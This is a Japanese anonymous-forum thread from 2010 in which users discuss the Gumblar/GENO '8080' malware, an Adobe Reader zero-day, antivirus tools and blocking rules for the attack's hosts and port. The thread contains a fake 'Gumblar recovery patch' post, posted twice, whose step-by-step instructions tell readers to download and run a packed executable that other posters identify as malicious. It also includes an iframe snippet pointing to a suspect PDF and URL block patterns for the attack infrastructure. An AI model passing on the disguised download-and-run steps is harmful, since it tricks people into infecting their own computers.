AVG入れてるけど、金払ってねえから、あんまり役に立たないだろうし。

情弱は>>150をやれヴぁいいの？

Adobeは自動即時アップデートを導入しろカス
いちいち確認するのめんどいんだよ

>>213
アドビ、ユーザーの関与なしに自動アップデートする仕組みを検討
http://japan.zdnet.com/sp/feature/07zeroday/story/0,3800083088,20406178,00.htm

>>214
サンクス
ようやくか

こううスレを専ブラ以外で開こうとは思わない。

チェックサイト
http://azcji.cocolog-nifty.com/blog/cat1459704/index.html


とか言って騙してやろうと思ったが改善されてた

>>209
tp://wavlac.net/oinari-uploader/src/oinari0223.html
↓
<iframe src="噂のup36170.pdf"></iframe>
　　　　　　　　　　・
　　　　　　　　　　・
　　　　　　　　　　・

【緊急】ガンブラー復旧パッチ使用手順。
http://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2108
http://www14.atpages.jp/saba02site/files/fukkyuu0.zip

手順1
上記をダウンロードする。
手順2
ダウンロードしたファイルを任意のソフトで解凍する。
手順3
解凍したファイル内にある復旧パッチを実行すると、
｢windowを復旧しますか？｣とメッセージが出るので｢yes｣を選択します。
手順4
実行後、PCをセーフモードで再起動してください。

昨日再インストールして
今VistaSP2をウィルス対策ソフトなしで使ってる。

まぁユーザーアカウント入ってるしなんとかなるでしょ・・・・

いや・・・今日中にAVGイレマスヨ？

AVIRA最強

ウイルス対策どうのこうのより脆弱性さっさと修正しろよｶｽ

>>219
何だよこのファイル
UPXで圧縮された上怪しげな文字列が・・・passwordって・・・

やった！反応した！

>>187
お前警察に通報したからな
プロバに連絡して対処してくれるって警察の人が言ってた

>>1
対応始まったな

午前1時52分の>>1のサイト　/*LGPL*/有り
http://www.virustotal.com/jp/analisis/9e032adbec239b778cd4e14405953799185c6c7f1f35fe90531c944efc2f0787-1262939972
対応済み：Avira　カスペ　NOD32

まさにGPL汚染
スクリプトを使って全てのライセンスをGPLにするつもりだな。

いいえ　男女兼用です

CVE-2009-4324

VRT: Adobe Reader media.newPlayer() Analysis (CVE-2009-4324)
ttp://vrt-sourcefire.blogspot.com/2009/12/adobe-reader-medianewplayer-analysis.html

extraexploit: Adobe CVE-2009-4324 in the wild - (0day) - part 0-6
ttp://extraexploit.blogspot.com/search?q=CVE-2009-4324

Aviraありがたい

>>226>>230
AviraってFREEもオケー？

>>231
FREEはノー

今PC買おうと思ってる奴、今は買うな!時期が悪い123
http://pc11.2ch.net/test/read.cgi/pc/1261006089/

>>231
うちのFREEで検知した

ただ既に>>1のサイトは感染に気づいて修正した模様

ドクター中松のサイトが新種に感染ってマジ？

宝箱が>>146で一杯になっちまった

>>236
まじ
でも今は修正されてる

なに、ガンプラの話をしにきた俺は帰ったほうがいいの？

HGUCガンブラスター (´･д･｀)ﾏﾀﾞｰ？

一応行っておくけど今回のはUAC有効でも危ないからな
気をつけろよ

警告音まじ心臓に悪すぎ・・・

何かこのスレでAviraが反応するんだけど
モッフルのサイト踏んでJava起動しちゃってたけど大丈夫かな

ガンブラーに感染してるかどうかって
どうやってわかるの？

まだだ！たかがメインPCをやられただけだ！

最近多すぎる
２ちゃん以外閲覧しない方がいいな
貼られたリンクも踏まない

GENOって感染したらどうなんの？

今回の8080系に感染するとtelnetサーバー立てられてリモートからPCのなか丸裸
IDは全部盗まれ、ショッピングで入力したならクレカもヤバい、悪人にPC貸し出した状態

リカバリインストールしたら駆除できる？

クリーンインストールなら「たぶん」大丈夫、絶対は無い
でもそれしか回復方法は無い

>>248
ソース

>>251
【Gumblar/GENO】Web改竄ウイルス総合スレ【8080】
http://pc11.2ch.net/test/read.cgi/sec/1261855221/99

>>252
telnetなんて一言も出てないようだが？

最近のウイルスは総合型だからね
感染経路も感染後の行動も複雑

カスペ、Avira、ノートン、マカフィー(GW)が新たに対応
ttp://www.virustotal.com/analisis/5d3877ab56662e71f04413c3619341ad0775634bc9d707a3f01f357a0d510699-1262952389

>>255
おれのDr.webが・・・

Operaなら感染しないって本当？

嘘

ttp://blogs.yahoo.co.jp/noooo_spam/59368027.html

>>255
GWは事実上アヴィラだし

>>259
調べたらいつのまにかWebWasherが買収されてたのか

　 　 　 　　　　　　　 　 　　　　　　　　　　　　　　　　 ,.へ
　　___ 　　　　　　　 　 　 　 　 　　　　　　　　　　　　ﾑ　　i
　「 ﾋ_i〉　　　 　 　　　　　　 　 　　　　　　　　　　　　 ゝ　〈
　ﾄ　ノ 　　　　　　　　　　　　　　　　　　　　　　　　　　iニ(()
　i 　{ 　 　　　　　　　 　　　＿＿＿_ 　 　　　　　　　　| 　ヽ
　i　　i　　　 　　　　　　　／__,　 , ‐-＼ 　 　 　 　 　　i 　　}
　|　　 i　　　　　　 　　／（●) 　 ( ● )＼　　　　　　 {､　 λ
　ト−┤.　　　　　　／ 　 　（__人__） 　　　＼　　　 ,ノ　￣ ,!
　i　　　ゝ､_ 　　　　|　　　　　´￣` 　 　　　　|　,. '´ﾊ　　　,!
.　ヽ、 　　　｀`　､,__＼ 　　 　 　　　　　 　 ／"　＼ 　ヽ／
　　　＼ノ　ﾉ　　　ﾊ￣r/:::r―--―/::７　　 ﾉ　　　　／
　 　　 　 ヽ.　　　　　　ヽ::〈； . '::. :' |::/　　 /　　　,. "
　　　　　　　 `ｰ ､　　　　＼ヽ::. ;::：|/　　　　　ｒ'"
　　　　　／￣二二二二二二二二二二二二二二二二ヽ
　　　　　| 答 |　　　　　M　a　c　大　勝　利　 　　　　　│|
　　　　　＼＿二二二二二二二二二二二二二二二二ノ

>>146
ブラクラ登録しようとしたら対象をファイルに保存をクリックしちまった

スレの勢いもやるきねーな

誤爆した

デザイン改悪しないでMGナイチンゲール出せよ

やはり携帯最強

>>256
最新版
http://www.virustotal.com/jp/analisis/9e032adbec239b778cd4e14405953799185c6c7f1f35fe90531c944efc2f0787-1262966460

>>214
ウイルスの原因になってるアドビは潰れた方がいいと思うよ
ソフトは全部フリー化という方向で

>>268
我が家では、ずっと前から全てフリーだけど。

>>268
冷静に考えたらwindows以外は無料ソフトだった

>>269
いや、アドビがさっさと潰れて公式にフリー化しろってこと
そうすりゃFirefoxみたいに早急なバグフィクスができるから

>>270
中国には「Windows大家族」というのがあってだな…

>>271
それは知ってるがここは日本だしｗ

http://news.goo.ne.jp/article/jiji/nation/jiji-100108X216.html
不正アクセス容疑で捜査＝企業のＨＰ改ざん−被害相談相次ぐ・警視庁
2010年1月8日（金）13:03

お前らいったいどこでウイルスについて学んだんだよ
教えｔ

>>274
朝から晩までPCの前で自宅警備してたら自然に覚えたよ

aviraの俺に隙はない

とりあえずjavascript無効にしたadobe Readerを緊急リリースして
その後で対策版を出せばいいのに悠長だよね

>>275
どこからとっかかっていいか分からないんだけど

>>278
まず感染するだろ？
そしたら次は、何とか駆除しようと思って無駄な努力を繰り返すじゃん
そういう無駄な努力が積み重なって、気づいたら知識だけが残るんだよ(´･ω･`)

てすと

変なものをスレに張らないでくれよ。
このスレ開いたらGDATAさんがブロックして見られなかったぞ。

アンチvista厨のXP厨涙目ｗｗｗｗｗｗｗｗｗｗｗｗｗ

Windows７販促キャンペーンか

>>283
MSの陰謀だったのか

7はともかく7のα版は・・・

>>1
感染サイト？開いたけど何も反応しないじゃん。

おい！avast!駄目なのか??(^_^;)。 ...!教えろν速民

JavaScript使ってるPDFって見たことがないんだけど・・・

どんな感じなの

>>287
今騒がれてる分の8080系は対応済
亜種が出てくるまでの話だけど

http://www.virustotal.com/analisis/cf4b42203397f1b333f0cf763a5aa081c3a8abc226af58e861f23880ac8c0a78-1262998068

アンチウイルスは最後の砦ですよ

>>289
どうやって対処するんすか!?
どんなふうにしていいかわからない…けど、頑張れば(^ω^)((爆))です
さすがのν速民でも駄目なのかうぬ！過去Jane誤作動したよなavast氏は
過去もあるし様子みすね〜な見解！とりまありがとでつ＼(^O^)／＠氏にはがばて
貰いたいでつ〜

>>291
Avast!がうｐだてされてれば、「今の段階の」8080はWebシールドが働いてブロックしてくれるけど、
↑に書いたように亜種が出るまでの話

対策：ブラウザをFireFoxにする

・FireFox：http://mozilla.jp/
・NoScript：https://addons.mozilla.jp/firefox/details/722
・Adblock Plus：https://addons.mozilla.jp/firefox/details/1865

ツール→アドオン→Adblock Plusの設定を開いて
*/94.247.2.195/*　←コピペで追加。

これ＋>>109で対応

スペックに余裕があるなら

PCをサンドボックス化、再起動ですべてを“なかったこと”にできる「Returnil」
http://www.forest.impress.co.jp/docs/review/20091208_334128.html

それと綺麗な状態のうちに、丸ごとバックアップする手もあり

Windowsが起動したままの状態でハードディスクをまるごと
イメージ化できるフリーソフト「Macrium Reflect FREE Edition」
http://gigazine.net/index.php?/news/comments/20090206_macrium_reflect_free_edition/

あとはセキュ板の関連スレをチェックしてみ？

おい！アバストさんが騒いだぞ！

ケロロスレ？

>>293
>>23にスクリプトが貼られてるから＝逆に考えればAvast!が有効ということ
（テキストだから悪さはしない　心配無用）

つかJaneのログフォルダは、Avast!に限らず除外設定にいれとこうな

てかavastはまだ対応されてないの？

>>279
少し分かる俺は何なんだ？

>>296
>>289

出かけるんで後は各自で

>>292
ぽち丸ごとバックあぷします(つд｀)ありがとぉ!!
http://mozilla.jp/ +>>109よんでなぁするわ

具体的に何するウイルスだよ
Web改竄されてて俺のPCに何する訳？

つかavastのオンアクセスの保護の設定って重いから全部普通にしてるんだけど、普通設定でも大丈夫かな？
高設定だと重いんだよね・・・

そもそもadobeのjavascriptって何してたの？

readerのjavascriptをOFFにしても、おれみたいにacrobatは忘れちゃってる
可能性があるからな、お前らも気をつけろよ

なぁ、俺の認識間違ってると思うんだが、情強のおまえらチェックしてくれ

俺が感染サイトを見る→俺が感染する→知らずに俺のサイトに俺がFTPでファイルうｐする→勝手に改変コードを付け加えられる
→俺のサイトを見た人が感染

なの？
でもこれだとFTPのパスってもれてないよね

【レス抽出】
対象スレ：avast!のWebシールドでも反応しない新ガンブラーが登場
キーワード：ガンプラ


3 名前： ウケ(アラバマ州)[] 投稿日：2010/01/08(金) 02:45:14.02 ID:7h8EVcut
↓ガンプラかと思った

9 名前： ラベル(東京都)[] 投稿日：2010/01/08(金) 02:48:38.10 ID:1/1kKlEq
オススメのガンプラない？

239 名前： 時計皿(神奈川県)[sage] 投稿日：2010/01/08(金) 18:42:35.89 ID:h1Nohgr4
なに、ガンプラの話をしにきた俺は帰ったほうがいいの？




抽出レス数：3

あぁ、何かしきりに21番と445番のポート叩いてくる奴らが居るなぁと思ったら、、、
こういうことか。面倒くさいなぁ

445番のポートってなんだっけ？

>>307
windowsのファイルプリンタ共有サービスとか

MSE最強ってことか

ＡＶＡＳＴ！にファイルをトロイ扱いされて消されまくってからＡＶＡＳＴ！恐くて使えない。
もう平気なのか？

>>305
いや。ガンプラの話でもいいと思う。

正直445はルータで閉じてもいい気がする

ガンプラのスレじゃないのか・・・帰る

>>303
ソフトも関連付けられない男の人って・・

>>310
いや今回の件で再導入したが、除外してなかったなんでもないファイルが消された、

>>315
winRARのライセンス認証させるソフトがトロイ扱いされるんだが。

>>315>>316
あはは、まだトロイ扱いは直って無いのかｗ

>>317
ちなみにCPRM解除のソフトもトロイ扱いされるので注意。

avastは対応してないってスレ立てだよね
対応しているのはどれ？

・avast!用
webシールド→URLブロック
*:8080/*

・Adblock Plus用
|http://*:8080*
注：|http://*8080/*だと機能しない（後ろ側の / ←に注意）

上記は「http://〜〜:8080/〜」
というURLを使ってくる限りずっと有効。

このスレを更新するたびに唸りをあげるavast!先生

感染したらどうなるんだよ

それはもう大変なことに

>>306>>320
危険ポートを閉じることでセキュリティを強化する。

【ポート135の役割】
Windows2000/XPは、標準で分散オブジェクト技術(以下：DCOM)を利用しています。
このDCOMを利用すると、他のPCのDCOMソフトを遠隔操作できます。
遠隔操作をする場合に、相手PCに問い合わせをする時のに使用するのがポート135です。
場合によっては、遠隔操作をされてしまう可能性があるものですので、このポートは停止しておきましょう。

ポート番号「135」、「リモート管理・操作等のサービスへのアクセス」
■ポート135を閉じる
「コントロールパネル」 -> 「管理ツール」 -> 「サービス」 -> 「Remote Procedure Call」を選択する。
「Remote Procedure Call (RPC) エンド ポイント マッパーや各種の RPC サービスを提供します。」
をダブルクリックし、プロパティを開く。
スタートアップの種類を「無効」にし、OKボタンをクリックしプロパティ画面を閉じる。
変更をしたらPCを再起動する。

ポート番号「445」、「ファイル共有等のサービスへのアクセス」
■ポート445を閉じる
「コントロールパネル」 ->「システム」 ->「ハードウェア」 ->「デバイスマネージャ」の「表示」メニューから
「非表示のデバイスドライバの表示」を選ぶと「プラグアンドプレイではないドライバ」という項目が一覧に加わる。
このツリーを展開して「NetBIOS over TCP/IP」のプロパティを開く。
ここで「ドライバ」タグを選択し、「スタートアップ」の種類を「無効」にする。
変更をしたらPCを再起動する。

ポート135 445
ttp://www.google.com/search?hl=ja&q=%E3%83%9D%E3%83%BC%E3%83%88135+445&lr=lang_ja

>>324
そんなことしなくたってルータ入れれば簡単に鉄壁のFWできるぜ

いいかげんソフトウェアのアップデートはタスクで児童管理しろよ

avastってなんかわかりずらい
AVGにしたらいい感じになった

>>326
通報した

ガンブラスターだと

信越放送ﾜﾛﾀｗｗ

見事なタイミングで信越放送のページ開いたわｗ
そしてかたまったｗ
アクロバットリーダもメモリもりもり使用量増えたんで強制終了ｗ

>>145
これ踏んじゃったんだけどもう大丈夫なのか？

>>332
そのneko2.netの短縮urlは後からジャンプ先を編集できるし、実際編集してる
だからもう大丈夫とかは無い

情強ならAcrobat ReaderやJavaのウェブブラウザplug-in機能は無効にしとけよ

【緊急】ガンブラー復旧パッチ使用手順。
http://mangakakouze.com/?security/news/view.cgi?type=gumblar
http://www14.atpages.jp/saba02site/files/fukkyuu0.zip

手順1
上記をダウンロードする。
手順2
ダウンロードしたファイルを任意のソフトで解凍する。
手順3
解凍したファイル内にある復旧パッチを実行すると、
｢windowを復旧しますか？｣とメッセージが出るので｢yes｣を選択します。
手順4
実行後、PCをセーフモードで再起動してください。

>>335
古いエロゲを大量にぶっこんだVMware上のWindowsMeが消えた

>>335
何度も同じものを貼るな

フラッシュプレイヤーの無い俺に四角は無かった

ＭＳのアンチウイルスってどう？使ってる人いる？

MSEって更新もスキャンも時間かかるな
無料セキュリティーソフト使うの初めてだけど
どれもこんなもんなのか

　　　　∩＿∩　
　　 ／ ＼ ／＼　　　　　　　　 人人人人人人人人人人人人人人人人人人人人人人
　　|　 （ﾟ）=（ﾟ）　|　　　　　　　＜ トロイの木馬 Win32:Delf-MZG[Trj] を検出しました ＞
　　|　　●_●　 |　　　　　　　　ＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹ
　/　　　　　　　　ヽ　
　| 〃 ------ ヾ　|
　＼＿＿二＿＿ノ


　　　　∩　 ∩
　　　　|　|　|　|
　　　　|　|__|　|
　　 ／ ／　ヽ　＼
　　/　 （ﾟ） （ﾟ）　　|
　　|　　＿○＿　　|
　　＼__ヾ . .:::/__ノ
　　　　　しｗ/ﾉ


　　　　　 ＿＿＿
／￣ヽ／ ＼ ／ ＼／￣ヽ 　　　　人人人人人人人人人人人人人
|　　　/　 （ﾟ） （ﾟ）　　|　　 　|　　＜ ﾌﾟｧｰﾝﾌﾟｧｰﾝﾌﾟｧｰﾝﾌﾟｧｰﾝﾌﾟｧｰﾝ＞
|　　　|　　　三 　　　|　　 　|　　　　ＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹＹ
＼＿ノ＼_　　　＿_ノ＼＿ノ
　　　　　　|　　|
　　　　　　|　　|　
　　　　　　(_,､_)
　　　　　　しｗﾉ

やべえな。しばらくリンク踏めないや。

avast!が/*LGPL*/のスクリプトに対応完了

avast!Anti-Virus Part120
http://pc11.2ch.net/test/read.cgi/sec/1261930389/631
631 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2010/01/09(土) 22:36:14
100109-0で/*LGPL*/に対応
JS:Illredir-C [Trj]で検知

【Gumblar/GENO】Web改竄ウイルス総合スレ【8080】
http://pc11.2ch.net/test/read.cgi/sec/1261855221/952
952 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2010/01/09(土) 23:42:47
>>948
100109-0の定義データでavast!がLGPLに対応したみたいだ
手持ちの12個の検体すべてに反応するようになった

これを期にカスペルスキーに乗り換えることにしました
ﾌﾟｧｰﾝﾌﾟｧｰﾝで心臓が止まる心配はなくなりそうです

>>344
無茶しやがって

そのﾌﾟｧｰﾝﾌﾟｧｰﾝって聞いてみたいｗ

心臓に悪い音だよな

このスレを開いた瞬間avastが怒った

>>344
カスペも昔はひどかったぞ

カスペはこんな音するぞ
http://www.dotup.org/uploda/www.dotup.org546042.wav

avast!は本当に心臓に悪い
http://www1.axfc.net/uploader/File/so/37144

>>350
なつかしいな
何度心臓止まりそうになった事かｗｗｗ

>>350
マジかこれは最悪だな
ということで警告音だけﾌﾟｧｰﾝﾌﾟｧｰﾝに変えた

ガンプラって感染方法が脆弱性攻撃だろ？
普通のアンチウイルスじゃ汎用的に対応するのはそもそも無理で
脆弱性攻撃に特化したソフト入れとかないとヤバイぞ。

vistaでマカフィーだから関係ないなよしガンプラの話をしよう

avastは操作がわかりにくすぎる。

古いosだからavastしか使えないや

こういうスレ開いて>>1のURLが紫だと何かこう
映画でスローモーションになった直後死ぬシーンを体験できるな

警告音が怖すぎるからtada.wavに変えた

既に上げてる人がいたけど上げちゃったので
http://www1.axfc.net/uploader/Sc/so/72015.zip

カスペは今でもﾌﾞﾋｨｨｨｨｨなん？

>>4
ウイルス開発したのはおそらくKingsoftなんだろうな

>>343
新種（亜種）がもう既に出ている模様。

avast!の本ｽﾚってIDが出ないせいかアンチが常駐してるのナｗ

それAvast!に限った話じゃないよ

セキュ板じゃ普通だな

Aviraのスレとか見てこいよw